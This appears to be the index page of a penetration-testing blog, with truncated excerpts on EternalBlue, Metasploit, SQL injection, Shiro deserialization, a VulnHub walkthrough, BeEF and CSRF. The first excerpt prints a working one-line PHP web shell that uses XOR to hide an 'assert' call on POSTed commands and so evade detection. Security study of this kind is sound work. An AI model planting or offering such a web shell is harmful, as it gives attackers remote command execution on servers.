Freaks City

PHP Web Shell Using XOR Operation The following demonstrates a PHP web shell that uses XOR operation to bypass detetcion: <?php $xor_result = ('!' ^ '@') . 'ssert'; $xor_result($_POST[cmd]); ?> ASCII Character Conversion Principle The technique works by converting ASCII characters to theirr binary representations, performing XOR, then c ...

The MS17-010 vulnerability, commonly known as EternalBlue, is a critical remote code execution flaw in Microsoft’s Server Message Block (SMB) protocol implementation. Original developed by the NSA and later leaked, it gained global notoriety in 2017 when weaponized in the WannaCry ransomware outbreak. Unpatched Windows systems—particularly Wind ...

MSF Module Structure Metasploit Framework's default module directory path: /usr/share/metasploit-framework/modules/ Framework Components Auxiliaries: Information gathering modules (scanners, fingerprinters) Exploits: Vulnerability attack implementations Payloads: Post-exploitation code execution mechanisms Encoders: Anti-virus evasion tools P ...

Web Security Fundamentals 1. SQL Injection Types and Prevention SQL injection occurs when untrusted data is concatenated into SQL queries without proper validation, allowing attackers to manipulate data base operations. Common types include: character-based, numeric, boolean, error-based, time-based, union-based, stacked queries, wide-byte, and ...

Exploiting Shiro RememberMe Deserialization for Webshell Creation Modifying ysoserial for Java Code Execution Payloads The default implementation in ysoserial can be enhanced to support direct Java code execution. Below is the modified code that checks if the command parameter starts with "code:" to determine whether to execute a system comma ...

Target Setup Download the target machine image from: https://download.vulnhub.com/jarbas/Jarbas.zip Configure the virtual machine in NAT mode to reside on the same subnet as the attacking system. Attacker IP (Kali): 192.168.88.133 Information Gathering Host Discovery Perform subnet scanning to identify active hosts: sudo nmap -sn 192.168.88.0/2 ...

Framework Initialization and ConfigurationThe Browser Exploitation Framework (BeEF) is a penetration testing tool that focuses on web browser vectors. It allows security professionals to assess the security posture of a client-side environment by hooking browsers and launching module-based attacks. The framework is typically written in Ruby and ...

What is CSRF? Cross-Site Request Forgery (CSRF) is a web-based attack vector that forces authenticated users to submit unwanted requests to a web application. The attack exploits the trust that a web application has in the user's browser by leveraging active sessions and authentication credentials. When successful, attackers can perform unautho ...

Kali Linux is a powerful operating system for penetration testing and security assessments, offering numerous pre-installed tools and functional modules to support various security testing tasks. However, users often need to extend and customize it according to their specific requirements. This article explains how to expand and customize Kali ...

Before using Metasploit, initialize and start the database: msfdb reinit msfdb start Launch the console: msfconsole connect Command Connect to a remote host on a specific port: msf5 > connect 10.0.0.50 80 Send an HTTP GET request to review the server banner: GET / HTTP/1.1 200 OK ... show Command List all available modules: msf5 > sho ...